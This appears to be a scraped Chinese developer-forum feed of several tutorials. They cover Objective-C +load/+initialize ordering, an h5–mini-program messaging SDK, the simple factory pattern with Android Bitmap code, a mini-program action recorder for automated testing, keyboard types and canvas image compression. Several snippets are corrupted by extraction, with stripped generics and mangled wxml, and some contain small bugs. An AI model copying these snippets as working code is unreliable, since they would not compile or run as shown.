从源码中schedule_class_load(cls->superclass);这一句中可以看出,递归调用自己本身,并且传入自己的父类,结果递归之后,才调用add_class_to_loadable_list,这就说明父类总是在子类前面加入到list当中,所有在调用一个类的+load方法之前,肯定要先调用其父类的+load方法。
那如果是其他没有继承关系的类呢,这就跟编译顺序有关系了,大家可以自己尝试验证一下。
小结:

  • +load方法会在runtime加载类和分类时调用

  • 每个类和分类的+load方法之后调用一次

  • 调用顺序:先调用类的+load

+initialize
+initialize的调用是不同的,如果某一个类我们没有使用过,他的+initialize方法是不会调用的,到我们使用这个类(调用了类的某个方法)的时候,才会触发+initialize方法的调用。

@implementation Person
+ (void)initialize {
NSLog(@"Person - initialize");
}
@end

@implementation Person (Test1)
+ (void)initialize {
NSLog(@"Person Test1 - initialize");
}
@end

@implementation Person (Test2)
+ (void)initialize {
NSLog(@"Person Test2 - initialize");
}
@end

当我们执行[Person alloc];的时候,才会走+initialize方法,而且执行的Category中的+initialize:

2020-09-14 10:40:23.579623+0800 Category[9134:94173] Person Test2 - initialize

这个我们之前已经说过了,Category的方法会添加list的前面,所以会先被找到并且执行,所以我们猜测+initialize的执行是走的正常的消息机制,objc_msgSend。

由于objc_msgSend实现并没有完全开源,都是汇编代码,所以我们需要换一个思路来研究源码。

objc_msgSend本质是什么?以调用实例方法为例,其实就是通过isa指针找到该类,然后寻找方法,找到之后调用。如果没有找到则通过superClass找到父类,继续查找方法。上面的例子中,我们仅仅是调用了一个alloc方法,但是也执行了+initialize方法,所以我们猜测+initialize会在查找方法的时候调用到。通过这个思路,我们定位到了class_getInstanceMethod()函数(class_getInstanceMethod函数就是在类中查找某个sel时候调用的),在这个函数中,又调用了IMP lookUpImpOrForward(id inst, SEL sel, Class cls, int behavior)

在该函数中我们可以找到下面这段代码

if ((behavior & LOOKUP_INITIALIZE)  &&  !cls->isInitialized()) {
initializeNonMetaClass (_class_getNonMetaClass(cls, inst));
}

可以看出如果类还没有执行+initialize 就会先执行,我们再看一下if语句中的initializeNonMetaClass函数,他会先拿到superClass,执行superClass的+initialize

supercls = cls->superclass;
if (supercls && !supercls->isInitialized()) {
initializeNonMetaClass(supercls);
}

这就是存在继承的情况,为什么会先执行父类的+initialize。

大总结

  1. 调用方式:
    load是根据函数地址直接调用
    initialize是通过消息机制objc_msgSend调用

  2. 调用时刻:

    load是在runtime加载类和分类时调用(只会调用一次)
    initialize是在类第一次收到消息时调用个,默认没有继承的情况下每个类只会initialize一次(父类的initialize可能会被执行多次)

  3. 调用顺序

    load
    先调用类的load:先编译的类先调用,子类调用之前,先调用父类的
    在调用Category的load:先编译的先调用

    initialize
    先初始化父类
    在初始化子类(初始化子类可能调用父类的initialize)

补充
上面总结的时候说到父类的initialize会被执行多次,什么情况下会被执行多次,为什么?举个例子:

@implementation Person
+ (void)initialize {
NSLog(@"Person - initialize");
}
@end

@implementation Student
@end

Student类继承Person类,并且只有父类Person中实现了+initialize,Student类中并没有实现
此时我们调用[Student alloc];, 会得到如下的打印。

2020-09-14 11:31:55.377569+0800 Category[11483:125034] Person - initialize
2020-09-14 11:31:55.377659+0800 Category[11483:125034] Person - initialize

Person的+initialize被执行了两次,但这两个意义是不同的,第一次执行是因为在调用子类的+initialize方法之前必须先执行父类的了+initialize,所以会打印一次。当要执行子类的+initialize时,通过消息机制,student类中并没有找到实现的+initialize的实现,所以要通过superClass指针去到父类中继续查找,因为父类中实现了+initialize,所以才会有了第二次的打印。

结尾
本文的篇幅略长,笔者按照自己的思路和想法写完了此文,陈述过程不一定那么调理和完善,大家在阅读过程中发现问题,可以留言交流。
感谢阅读。

转自:https://www.jianshu.com/p/141b04e376d4

收起阅读 »

复杂场景下的h5与小程序通信

复杂场景下的h5与小程序通信一、背景在套壳小程序盛行的当下, h5调用小程序能力来打破业务边界已成为家常便饭,h5与小程序的结合,极大地拓展了h5的能力边界,丰富了h5的功能。使许多以往纯h5只能想想或者实现难度极大的功能变得轻松简单。但在套壳小程序中,h5与...
继续阅读 »

复杂场景下的h5与小程序通信

一、背景

在套壳小程序盛行的当下, h5调用小程序能力来打破业务边界已成为家常便饭,h5与小程序的结合,极大地拓展了h5的能力边界,丰富了h5的功能。使许多以往纯h5只能想想或者实现难度极大的功能变得轻松简单。
但在套壳小程序中,h5与小程序通信存在以下几个问题:
  • 注入小程序全局变量的时机不确定,可能调用的时候不存在小程序变量。和全局变量my相关的判断满天飞,每个使用的地方都需要判断是否已注入变量,否则就要创建监听。
  • 小程序处理后的返回结果可能有多种,h5需要在具体使用时监听多个结果进行处理。
  • 一旦监听建立,就无法取消,在组件销毁时如果没有判断组件状态容易导致内存泄漏。

二、在业务内的实践

  • 因业务的特殊性,需要投放多端,小程序sdk的加载没有放到head里面,而是在应用启动时动态判断是小程序环境时自动注入的方式:

export function injectMiniAppScript() {
if (isAlipayMiniApp() || isAlipayMiniAppWebIDE()) {
const s = document.createElement('script');

s.src = 'https://appx/web-view.min.js';
s.onload = () => {
// 加载完成时触发自定义事件
const customEvent = new CustomEvent('myLoad', { detail:'' });
document.dispatchEvent(customEvent);
};

s.onerror = (e) => {
// 加载失败时上传日志
uploadLog({
tip: `INJECT_MINIAPP_SCRIPT_ERROR`,
});
};

document.body.insertBefore(s, document.body.firstChild);
}
}

加载脚本完成后,我们就可以调用my.postMessagemy.onMessage进行通信(统一约定h5发送消息给小程序时,必须带action,小程序根据action处理业务逻辑,同时小程序处理完成的结果必须带type,h5在不同的业务场景下通过my.onMessage处理不同type的响应),比如典型的,h5调用小程序签到:
h5部分代码如下:

// 处理扫脸签到逻辑
const faceVerify = (): Promise => {

return new Promise((resolve) => {
const handle = () => {
window.my.onMessage = (result: AlipaySignResult) => {
if (result.type === 'FACE_VERIFY_TIMEOUT' ||
result.type === 'DO_SIGN' ||
result.type === 'FACE_VERIFY' ||
result.type === 'LOCATION' ||
result.type === 'LOCATION_UNBELIEVABLE' ||
result.type === 'NOT_IN_ALIPAY') {
resolve(result);
}
};

window.my.postMessage({ action: SIGN_CONSTANT.FACE_VERIFY, activityId: id, userId: user.userId });
};

if (window.my) {
handle();
} else {
// 先记录错误日志
sendErrors('/threehours.3hours-errors.NO_MY_VARIABLE', { msg: '变量不存在' });
// 监听load事件
document.addEventListener('myLoad', handle);
}
});
};

实际上还是相当繁琐的,使用时都要先判断my是否存在,进行不同的处理,一两处还好,多了就受不了了,而且这种散乱的代码遍布各处,甚至是不同的应用,于是,我封装了下面这个sdkminiAppBus,先来看看怎么用,还是上面的场景

// 处理扫脸签到逻辑
const faceVerify = (): Promise => {
miniAppBus.postMessage({ action: SIGN_CONSTANT.FACE_VERIFY, activityId: id, userId: user.userId });
return miniAppBus.subscribeAsync([
'FACE_VERIFY_TIMEOUT',
'DO_SIGN',
'FACE_VERIFY',
'LOCATION',
'LOCATION_UNBELIEVABLE',
'NOT_IN_ALIPAY',
])
};
  • 可以看到,无论是postMessage还是监听message,都不需要再关注环境,直接使用即可。在业务场景复杂的情况下,提效尤为明显。

三、实现及背后的思考

  • 为了满足不同场景和使用的方便,公开暴露的interface如下:

interface MiniAppEventBus {
/**
* @description 回调函数订阅单个、或多个type
* @template T
* @param {(string | string[])} type
* @param {MiniAppMessageSubscriber} callback
* @memberof MiniAppEventBus
*/
subscribe(type: string | string[], callback: MiniAppMessageSubscriber): void;
/**
* @description Promise 订阅单个、或多个type
* @template T
* @param {(string | string[])} type
* @returns {Promise>}
* @memberof MiniAppEventBus
*/
subscribeAsync(type: string | string[]): Promise>;
/**
* @description 取消订阅单个、或多个type
* @param {(string | string[])} type
* @returns {Promise}
* @memberof MiniAppEventBus
*/
unSubscribe(type: string | string[]): Promise;
/**
* @description postMessage替代,无需关注环境变量
* @param {MessageToMiniApp} msg
* @returns {Promise}
* @memberof MiniAppEventBus
*/
postMessage(msg: MessageToMiniApp): Promise;
}

subscribe:函数接收两个参数,
type:需要订阅的type,可以是字符串,也可以是数组。
callback:回调函数。
subscribeAsync:接收type(同上),返回Promise对象,值得注意的是,目前只要监听到其中一个type返回,promise就resolved,未来对同一个action对应多个结果type时存在问题,需要拓展,不过目前还未遇到此类场景。
unsubscribe:取消订阅。
postMessage:postMessage替代,无需关注环境变量。

完整代码:

import { injectMiniAppScript } from './tools';

/**
* @description 小程序返回结果
* @export
* @interface MiniAppMessage
*/

interface MiniAppMessageBase {
type: string;
}

type MiniAppMessage = MiniAppMessageBase & {
[P in keyof T]: T[P]
}
/**
* @description 小程序接收消息
* @export
* @interface MessageToMiniApp
*/
export interface MessageToMiniApp {
action: string;
[x: string]: unknown
}

interface MiniAppMessageSubscriber {
(params: MiniAppMessage): void
}
interface MiniAppEventBus {
/**
* @description 回调函数订阅单个、或多个type
* @template T
* @param {(string | string[])} type
* @param {MiniAppMessageSubscriber} callback
* @memberof MiniAppEventBus
*/
subscribe(type: string | string[], callback: MiniAppMessageSubscriber): void;
/**
* @description Promise 订阅单个、或多个type
* @template T
* @param {(string | string[])} type
* @returns {Promise>}
* @memberof MiniAppEventBus
*/
subscribeAsync(type: string | string[]): Promise>;
/**
* @description 取消订阅单个、或多个type
* @param {(string | string[])} type
* @returns {Promise}
* @memberof MiniAppEventBus
*/
unSubscribe(type: string | string[]): Promise;
/**
* @description postMessage替代,无需关注环境变量
* @param {MessageToMiniApp} msg
* @returns {Promise}
* @memberof MiniAppEventBus
*/
postMessage(msg: MessageToMiniApp): Promise;
}
class MiniAppEventBus implements MiniAppEventBus{

/**
* @description: 监听函数
* @type {Map}
* @memberof MiniAppEventBus
*/
listeners: Map;
constructor() {
this.listeners = new Map>>();
this.init();
}

/**
* @description 初始化
* @private
* @memberof MiniAppEventBus
*/
private init() {
if (!window.my) {
// 引入脚本
injectMiniAppScript();
}

this.startListen();
}

/**
* @description 保证my变量存在的时候执行函数func
* @private
* @param {Function} func
* @returns
* @memberof MiniAppEventBus
*/
private async ensureEnv(func: Function) {
return new Promise((resolve) => {
const promiseResolve = () => {
resolve(func.call(this));
};

// 全局变量
if (window.my) {
promiseResolve();
}

document.addEventListener('myLoad', promiseResolve);
});
}

/**
* @description 监听小程序消息
* @private
* @memberof MiniAppEventBus
*/
private listen() {
window.my.onMessage = (msg: MiniAppMessage) => {
this.dispatch(msg.type, msg);
};
}

private async startListen() {
return this.ensureEnv(this.listen);
}

/**
* @description 发送消息,必须包含action
* @param {MessageToMiniApp} msg
* @returns
* @memberof MiniAppEventBus
*/
public postMessage(msg: MessageToMiniApp) {
return new Promise((resolve) => {
const realPost = () => {
resolve(window.my.postMessage(msg));
};

resolve(this.ensureEnv(realPost));
});
}

/**
* @description 订阅消息,支持单个或多个
* @template T
* @param {(string|string[])} type
* @param {MiniAppMessageSubscriber} callback
* @returns
* @memberof MiniAppEventBus
*/
public subscribe(type: string | string[], callback: MiniAppMessageSubscriber) {
const subscribeSingleAction = (type: string, cb: MiniAppMessageSubscriber) => {
let listeners = this.listeners.get(type) || [];

listeners.push(cb);
this.listeners.set(type, listeners);
};

this.forEach(type,(type:string)=>subscribeSingleAction(type,callback));
}

private forEach(type:string | string[],cb:(type:string)=>void){
if (typeof type === 'string') {
return cb(type);
}

for (const key in type) {
if (Object.prototype.hasOwnProperty.call(type, key)) {
const element = type[key];

cb(element);
}
}
}

/**
* @description 异步订阅
* @template T
* @param {(string|string[])} type
* @returns {Promise>}
* @memberof MiniAppEventBus
*/
public async subscribeAsync(type: string | string[]): Promise> {
return new Promise((resolve, _reject) => {
this.subscribe(type, resolve);
});
}

/**
* @description 触发事件
* @param {string} type
* @param {MiniAppMessage} msg
* @memberof MiniAppEventBus
*/
public async dispatch(type: string, msg: MiniAppMessage) {
let listeners = this.listeners.get(type) || [];

listeners.map(i => {
if (typeof i === 'function') {
i(msg);
}
});
}

public async unSubscribe(type:string | string[]){
const unsubscribeSingle = (type: string) => {
this.listeners.set(type, []);
};

this.forEach(type,(type:string)=>unsubscribeSingle(type));
}
}

export default new MiniAppEventBus();
  • class内部处理了脚本加载,变量判断,消息订阅一系列逻辑,使用时不再关注。

四、小程序内部的处理

  • 定义action handle,通过策略模式解耦:

const actionHandles = {
async FACE_VERIFY(){},
async GET_STEP(){},
async UPLOAD_HASH(){},
async GET_AUTH_CODE(){},
...// 其他action
}
....
// 在webview的消息监听函数中
async startProcess(e) {
const data = e.detail;
// 根据不同的action调用不同的handle处理
const handle = actionHandles[data.action];
if (handle) {

return actionHandles[data.action](this, data)
}
return uploadLogsExtend({
tip: STRING_CONTANT.UNKNOWN_ACTIONS,
data
})
}
  • 使用起来也是得心顺畅,舒服。

其他

类型完备,使用时智能提示,方便快捷。

原文链接:https://segmentfault.com/a/1190000023360940

收起阅读 »

java 设计模式:简单工厂

工厂模式的定义定义一个创建产品对象的工厂接口,将产品对象的实际创建工作推迟到具体子工厂类当中。这满足创建型模式中所要求的“创建与使用相分离”的特点。简单工厂如果要创建的产品不多,只要一个工厂类就可以完成,这种模式叫“简单工厂模式”。简单工厂通常为静态方法,因此...
继续阅读 »

工厂模式的定义

定义一个创建产品对象的工厂接口,将产品对象的实际创建工作推迟到具体子工厂类当中。这满足创建型模式中所要求的“创建与使用相分离”的特点。

简单工厂

如果要创建的产品不多,只要一个工厂类就可以完成,这种模式叫“简单工厂模式”。

简单工厂通常为静态方法,因此又叫静态工厂方法模式

优点:

  • 工厂类包含必要的逻辑判断,可以决定在什么时候创建哪一个产品的实例。客户端可以免除直接创建产品对象的职责,很方便的创建出相应的产品。工厂和产品的职责区分明确。
  • 客户端无需知道所创建具体产品的类名,只需知道参数即可。
    也可以引入配置文件,在不修改客户端代码的情况下更换和添加新的具体产品类。

缺点:

  • 简单工厂模式的工厂类单一,负责所有产品的创建,职责过重,一旦异常,整个系统将受影响。且工厂类代码会非常臃肿,违背高聚合原则。
  • 使用简单工厂模式会增加系统中类的个数(引入新的工厂类),增加系统的复杂度和理解难度
  • 系统扩展困难,一旦增加新产品不得不修改工厂逻辑,在产品类型较多时,可能造成逻辑过于复杂
  • 简单工厂模式使用了 static 工厂方法,造成工厂角色无法形成基于继承的等级结构。

应用场景

对于产品种类相对较少的情况,考虑使用简单工厂模式。使用简单工厂模式的客户端只需要传入工厂类的参数,不需要关心如何创建对象的逻辑,可以很方便地创建所需产品。

代码实现

简单工厂模式的主要角色如下:

  • 简单工厂:是简单工厂模式的核心,负责实现创建所有实例的内部逻辑。工厂类的创建产品类的方法可以被外界直接调用,创建所需的产品对象。
  • 抽象产品:是简单工厂创建的所有对象的父类,负责描述所有实例共有的公共接口。
  • 具体产品:是简单工厂模式的创建目标。

其结构图如下图所示。


kotlin代码实现

interface IProduct{
fun showName() :String
}

class Dog : IProduct{
override fun showName() = "dog"

}

class Cat : IProduct{
override fun showName() = "cat"
}

object AnimalFactory{
fun createAnimal(type:Int):IProduct{
return when(type){
1-> Dog()
2-> Cat()
else -> throw NullPointerException()
}
}
}

简单工厂模式在Android中的实际应用

fragment 的构建

有时候,为了简化简单工厂模式,我们可以将抽象产品类和工厂类合并,将静态工厂方法移至抽象产品类中。Fragment的创建使用简单工厂方法没有抽象产品类,所以工厂类放到了实现产品类中。

class ListWorkFragment : BMvpFragment<ListWorkView ,ListWorkPresenter>(),ListWorkView,ISubjectView{
companion object {
@JvmStatic
fun newInstance(recommendTypeId: Int,
termCode: String = "") =
ListWorkFragment().apply {
arguments = Bundle().apply {
putInt("type", recommendTypeId)
putString("code", termCode)
}
}
}

优点

  1. 在创建Fragment的时候,可以不需要管内部参数,而从外部输入
  2. Fragment推荐使用setArguments来传递参数,避免在横竖屏切换的时候Fragment自动调用自己的无参构造函数,导致数据丢失。

Bitmap源码分析

@UnsupportedAppUsage(maxTargetSdk = 28)
Bitmap(long nativeBitmap, int width, int height, int density,
boolean requestPremultiplied, byte[] ninePatchChunk,
NinePatch.InsetStruct ninePatchInsets) {
this(nativeBitmap, width, height, density, requestPremultiplied, ninePatchChunk,
ninePatchInsets, true);
}

// called from JNI and Bitmap_Delegate.
Bitmap(long nativeBitmap, int width, int height, int density,
boolean requestPremultiplied, byte[] ninePatchChunk,
NinePatch.InsetStruct ninePatchInsets, boolean fromMalloc) {
...
}

看构造函数可知,无法new出bitmap,那么怎么创建bitmap对象呢?

 BitmapFactory.decodeFile("")

内部源码

public static Bitmap decodeFile(String pathName) {
return decodeFile(pathName, null);
}

public static Bitmap decodeFile(String pathName, Options opts) {
Bitmap bm = null;
InputStream stream = null;
try {
stream = new FileInputStream(pathName);
bm = decodeStream(stream, null, opts);
} catch (Exception e) {
/* do nothing.
If the exception happened on open, bm will be null.
*/

Log.e("BitmapFactory", "Unable to decode stream: " + e);
} finally {
if (stream != null) {
try {
stream.close();
} catch (IOException e) {
// do nothing here
}
}
}
return bm;
}

public static Bitmap decodeStream(InputStream is, Rect outPadding, Options opts) {
// we don't throw in this case, thus allowing the caller to only check
// the cache, and not force the image to be decoded.
if (is == null) {
return null;
}

Bitmap bm = null;

Trace.traceBegin(Trace.TRACE_TAG_GRAPHICS, "decodeBitmap");
try {
if (is instanceof AssetManager.AssetInputStream) {
final long asset = ((AssetManager.AssetInputStream) is).getNativeAsset();
bm = nativeDecodeAsset(asset, outPadding, opts);
} else {
bm = decodeStreamInternal(is, outPadding, opts);
}

if (bm == null && opts != null && opts.inBitmap != null) {
throw new IllegalArgumentException("Problem decoding into existing bitmap");
}

setDensityFromOptions(bm, opts);
} finally {
Trace.traceEnd(Trace.TRACE_TAG_GRAPHICS);
}

return bm;
}

private static native Bitmap nativeDecodeStream(InputStream is, byte[] storage,
Rect padding, Options opts);

/**
* Set the newly decoded bitmap's density based on the Options.
*/

private static void setDensityFromOptions(Bitmap outputBitmap, Options opts) {
if (outputBitmap == null || opts == null) return;

final int density = opts.inDensity;
if (density != 0) {
outputBitmap.setDensity(density);
final int targetDensity = opts.inTargetDensity;
if (targetDensity == 0 || density == targetDensity || density == opts.inScreenDensity) {
return;
}

byte[] np = outputBitmap.getNinePatchChunk();
final boolean isNinePatch = np != null && NinePatch.isNinePatchChunk(np);
if (opts.inScaled || isNinePatch) {
outputBitmap.setDensity(targetDensity);
}
} else if (opts.inBitmap != null) {
// bitmap was reused, ensure density is reset
outputBitmap.setDensity(Bitmap.getDefaultDensity());
}
}

看下BitmapFactory的注释我们可以看到,这个工厂支持从不同的资源创建Bitmap对象,包括files, streams, 和byte-arrays,但是调用关系都大同小异。

收起阅读 »

小程序自动化测试

背景近期团队打算做一个小程序自动化测试的工具,期望能够做到业务人员操作一遍小程序后,自动还原之前的操作路径,并且捕获操作过程中发生的异常,以此来判断这次发布是否会影响小程序的基础功能。上述描述看似简单,但是中间还是有些难点的,第一个难点就是如何在业务人员操作小...
继续阅读 »

背景

近期团队打算做一个小程序自动化测试的工具,期望能够做到业务人员操作一遍小程序后,自动还原之前的操作路径,并且捕获操作过程中发生的异常,以此来判断这次发布是否会影响小程序的基础功能。


上述描述看似简单,但是中间还是有些难点的,第一个难点就是如何在业务人员操作小程序的时候记录操作路径,第二个难点就是如何将记录的操作路径进行还原。

自动化 SDK

如何将操作路径还原这个问题,首选官方提供的 SDK: miniprogram-automator

小程序自动化 SDK 为开发者提供了一套通过外部脚本操控小程序的方案,从而实现小程序自动化测试的目的。通过该 SDK,你可以做到以下事情:

  • 控制小程序跳转到指定页面
  • 获取小程序页面数据
  • 获取小程序页面元素状态
  • 触发小程序元素绑定事件
  • 往 AppService 注入代码片段
  • 调用 wx 对象上任意接口
  • ...

上面的描述都来自官方文档,建议阅读后面内容之前可以先看看官方文档,当然如果之前用过 puppeteer ,也可以快速上手,api 基本一致。下面简单介绍下 SDK 的使用方式。

// 引入sdk
const automator = require('miniprogram-automator')

// 启动微信开发者工具
automator.launch({
// 微信开发者工具安装路径下的 cli 工具
// Windows下为安装路径下的 cli.bat
// MacOS下为安装路径下的 cli
cliPath: 'path/to/cli',
// 项目地址,即要运行的小程序的路径
projectPath: 'path/to/project',
}).then(async miniProgram => { // miniProgram 为 IDE 启动后的实例
// 启动小程序里的 index 页面
const page = await miniProgram.reLaunch('/page/index/index')
// 等待 500 ms
await page.waitFor(500)
// 获取页面元素
const element = await page.$('.main-btn')
// 点击元素
await element.tap()
// 关闭 IDE
await miniProgram.close()
})

有个地方需要提醒一下:使用 SDK 之前需要开启开发者工具的服务端口,要不然会启动失败。




捕获用户行为

有了还原操作路径的办法,接下来就要解决记录操作路径的难题了。

在小程序中,并不能像 web 中通过事件冒泡的方式在 window 中捕获所有的事件,好在小程序所以的页面和组件都必须通过 Page 、Component 方法来包装,所以我们可以改写这两个方法,拦截传入的方法,并判断第一个参数是否为 event 对象,以此来捕获所有的事件。

// 暂存原生方法
const originPage = Page
const originComponent = Component

// 改写 Page
Page = (params) => {
const names = Object.keys(params)
for (const name of names) {
// 进行方法拦截
if (typeof obj[name] === 'function') {
params[name] = hookMethod(name, params[name], false)
}
}
originPage(params)
}
// 改写 Component
Component = (params) => {
if (params.methods) {
const { methods } = params
const names = Object.keys(methods)
for (const name of names) {
// 进行方法拦截
if (typeof methods[name] === 'function') {
methods[name] = hookMethod(name, methods[name], true)
}
}
}
originComponent(params)
}

const hookMethod = (name, method, isComponent) => {
return function(...args) {
const [evt] = args // 取出第一个参数
// 判断是否为 event 对象
if (evt && evt.target && evt.type) {
// 记录用户行为
}
return method.apply(this, args)
}
}

这里的代码只是代理了所有的事件方法,并不能用来还原用户的行为,要还原用户行为还必须知道该事件类型是否是需要的,比如点击、长按、输入。

const evtTypes = [
'tap', // 点击
'input', // 输入
'confirm', // 回车
'longpress' // 长按
]
const hookMethod = (name, method) => {
return function(...args) {
const [evt] = args // 取出第一个参数
// 判断是否为 event 对象
if (
evt && evt.target && evt.type &&
evtTypes.includes(evt.type) // 判断事件类型
) {
// 记录用户行为
}
return method.apply(this, args)
}
}

确定事件类型之后,还需要明确点击的元素到底是哪个,但是小程序里面比较坑的地方就是,event 对象的 target 属性中,并没有元素的类名,但是可以获取元素的 dataset。


为了准确的获取元素,我们需要在构建中增加一个步骤,修改 wxml 文件,将所有元素的 class 属性复制一份到 

<!-- 构建前 -->
<view class="close-btn"></view>
<view class="{{mainClassName}}"></view>
<!-- 构建后 -->
<view class="close-btn" style="box-sizing: border-box; color: rgb(221, 17, 68);">"close-btn"></view>
<view class="{{mainClassName}}" style="box-sizing: border-box; color: rgb(221, 17, 68);">"{{mainClassName}}"></view>

但是获取到 class 之后,又会有另一个坑,小程序的自动化测试工具并不能直接获取页面里自定义组件中的元素,必须先获取自定义组件。

<!-- Page -->
<toast text="loading" show="{{showToast}}" />
<!-- Component -->
<view class="toast" wx:if="{{show}}">
<text class="toast-text">{{text}}</text>
<view class="toast-close" />
</view>
// 如果直接查找 .toast-close 会得到 null
const element = await page.$('.toast-close')
element.tap() // Error!

// 必须先通过自定义组件的 tagName 找到自定义组件
// 再从自定义组件中通过 className 查找对应元素
const element = await page.$('toast .toast-close')
element.tap()

所以我们在构建操作的时候,还需要为元素插入 tagName。

<!-- 构建前 -->
<view class="close-btn" />
<toast text="loading" show="{{showToast}}" />
<!-- 构建后 -->
<view class="close-btn" style="box-sizing: border-box; color: rgb(221, 17, 68);">"close-btn" style="box-sizing: border-box; color: rgb(221, 17, 68);">"view" />
<toast text="loading" show="{{showToast}}" style="box-sizing: border-box; color: rgb(221, 17, 68);">"toast" />

现在我们可以继续愉快的记录用户行为了。

// 记录用户行为的数组
const actions = [];
// 添加用户行为
const addAction = (type, query, value = '') => {
actions.push({
time: Date.now(),
type,
query,
value
})
}

// 代理事件方法
const hookMethod = (name, method, isComponent) => {
return function(...args) {
const [evt] = args // 取出第一个参数
// 判断是否为 event 对象
if (
evt && evt.target && evt.type &&
evtTypes.includes(evt.type) // 判断事件类型
) {
const { type, target, detail } = evt
const { id, dataset = {} } = target
const { className = '' } = dataset
const { value = '' } = detail // input事件触发时,输入框的值
// 记录用户行为
let query = ''
if (isComponent) {
// 如果是组件内的方法,需要获取当前组件的 tagName
query = `${this.dataset.tagName} `
}
if (id) {
// id 存在,则直接通过 id 查找元素
query += id
} else {
// id 不存在,才通过 className 查找元素
query += className
}
addAction(type, query, value)
}
return method.apply(this, args)
}
}

到这里已经记录了用户所有的点击、输入、回车相关的操作。但是还有滚动屏幕的操作没有记录,我们可以直接代理 Page 的 onPageScroll 方法。

// 记录用户行为的数组
const actions = [];
// 添加用户行为
const addAction = (type, query, value = '') => {
if (type === 'scroll' || type === 'input') {
// 如果上一次行为也是滚动或输入,则重置 value 即可
const last = this.actions[this.actions.length - 1]
if (last && last.type === type) {
last.value = value
last.time = Date.now()
return
}
}
actions.push({
time: Date.now(),
type,
query,
value
})
}

Page = (params) => {
const names = Object.keys(params)
for (const name of names) {
// 进行方法拦截
if (typeof obj[name] === 'function') {
params[name] = hookMethod(name, params[name], false)
}
}
const { onPageScroll } = params
// 拦截滚动事件
params.onPageScroll = function (...args) {
const [evt] = args
const { scrollTop } = evt
addAction('scroll', '', scrollTop)
onPageScroll.apply(this, args)
}
originPage(params)
}

这里有个优化点,就是滚动操作记录的时候,可以判断一下上次操作是否也为滚动操作,如果是同一个操作,则只需要修改一下滚动距离即可,因为两次滚动可以一步到位。同理,输入事件也是,输入的值也可以一步到位。

还原用户行为

用户操作完毕后,可以在控制台输出用户行为的 json 文本,把 json 文本复制出来后,就可以通过自动化工具运行了。

// 引入sdk
const automator = require('miniprogram-automator')

// 用户操作行为
const actions = [
{ type: 'tap', query: 'goods .title', value: '', time: 1596965650000 },
{ type: 'scroll', query: '', value: 560, time: 1596965710680 },
{ type: 'tap', query: 'gotoTop', value: '', time: 1596965770000 }
]

// 启动微信开发者工具
automator.launch({
projectPath: 'path/to/project',
}).then(async miniProgram => {
let page = await miniProgram.reLaunch('/page/index/index')

let prevTime
for (const action of actions) {
const { type, query, value, time } = action
if (prevTime) {
// 计算两次操作之间的等待时间
await page.waitFor(time - prevTime)
}
// 重置上次操作时间
prevTime = time

// 获取当前页面实例
page = await miniProgram.currentPage()
switch (type) {
case 'tap':
const element = await page.$(query)
await element.tap()
break;
case 'input':
const element = await page.$(query)
await element.input(value)
break;
case 'confirm':
const element = await page.$(query)
await element.trigger('confirm', { value });
break;
case 'scroll':
await miniProgram.pageScrollTo(value)
break;
}
// 每次操作结束后,等待 5s,防止页面跳转过程中,后面的操作找不到页面
await page.waitFor(5000)
}

// 关闭 IDE
await miniProgram.close()
})

这里只是简单的还原了用户的操作行为,实际运行过程中,还会涉及到网络请求和 localstorage 的 mock,这里不再展开讲述。同时,我们还可以接入 jest 工具,更加方便用例的编写。

总结

看似很难的需求,只要用心去发掘,总能找到对应的解决办法。另外微信小程序的自动化工具真的有很多坑,遇到问题可以先到小程序社区去找找,大部分坑都有前人踩过,还有一些一时无法解决的问题只能想其他办法来规避。最后祝愿天下无 bug。

原文链接:https://segmentfault.com/a/1190000023555693


收起阅读 »

键盘设置如何优化小程序使用体验?

在小程序开发过程中,用户输入是必不可少的,我们经常会需要用户输入一些内容,来完成产品收集用户信息的需求。在这种情况下,我们可以考虑借助小程序提供的一些和键盘相关的 API 来优化小程序的使用体验。Input 组件的 type 属性从小程序的 1.0 版本开始,...
继续阅读 »

在小程序开发过程中,用户输入是必不可少的,我们经常会需要用户输入一些内容,来完成产品收集用户信息的需求。

在这种情况下,我们可以考虑借助小程序提供的一些和键盘相关的 API 来优化小程序的使用体验。

Input 组件的 type 属性


从小程序的 1.0 版本开始,就支持为 input 组件设置 type,不同的 type 会显示不同的手机键盘。默认情况下,显示的是 text 文本输入键盘,这个键盘的特点是显示所有的内容,可以适用于所有的场景。

但,适用于所有场景也就意味着不适用于所有场景,总会在每一个场景中有着种种不便,因此,在实际的开发中,为了获得更佳的体验,你可以通过设置不同的 Type 来控制实际的键盘显示情况。


除了默认的 text 类以外,你还可以使用 number(数字输入键盘)、idcard 身份证输入键盘和 digit 带小数点的数字键盘。


你可以根据自己的实际使用场景来设置不同的类型,比如说

  • 如果你的小程序的验证码都是数字的,那么你给出一个 text 类型的键盘,显然不如给一个 number 类型的键盘更合适。
  • 如果你的小程序中涉及到了手机号的输入,那么这种情况下你就可以选择使用 number 类型的键盘,来优化用户输入时的体验。

这里的思路是类似的,当你预期用户输入的内容只有数字,就可以考虑 numberdigitidcard 等类型,来优化你的小程序的实际使用体验。


## 总结

input 组件默认提供的 四种 type ,可以通过选择不同的类型,从而获得不同的体验效果,从而对于你的小程序体验进行优化和推进。

原文链接:https://segmentfault.com/a/1190000025160488

收起阅读 »

小程序canvas实现图片压缩

我们需要在选择图片后对图片做一次安全校验启用云开发现在我们需要一个 后端接口 来实现图片的 安全校验 功能这时候临时搭个Node服务好像不太现实又不是什么正经项目于是就想到了微信的云开发功能用起来真实方便快捷至于图片的校...
继续阅读 »




我们需要在选择图片后

对图片做一次安全校验

启用云开发

现在我们需要一个 后端接口 来实现图片的 安全校验 功能

这时候临时搭个Node服务好像不太现实

又不是什么正经项目

于是就想到了微信的云开发功能

用起来真实方便快捷

至于图片的校验方法

直接用云函数调用 security.imgSecCheck 接口就好了

流程

chooseImage() {
/// 用户选择图片
wx.chooseImage({
count: 1,
sizeType: ['original', 'compressed'],
sourceType: ['album', 'camera'],
success: async res => {
if (res.errMsg === 'chooseImage:ok') {
wx.showLoading({ title: '图片加载中' })
// 获取图片临时地址
const path = res.tempFilePaths[0]
// 将图片地址实例化为图片
const image = await loadImage(path, this.canvas)
// 压缩图片
const filePath = await compress.call(this, image, 'canvas_compress')
// 校验图片合法性
const imgValid = await checkImage(filePath)
wx.hideLoading()
if (!imgValid) return
// 图片安全检测通过,执行后续操作
...
}
})
}


所以在图片上传前要先对超出尺寸的图片进行压缩处理
基本逻辑就是

超出尺寸的图片等比例缩小就好了

我们先要有一个canvas元素

用来处理需要压缩的图片

<template>
<view class="menu-background">
<view class="item replace" bindtap="chooseImage">
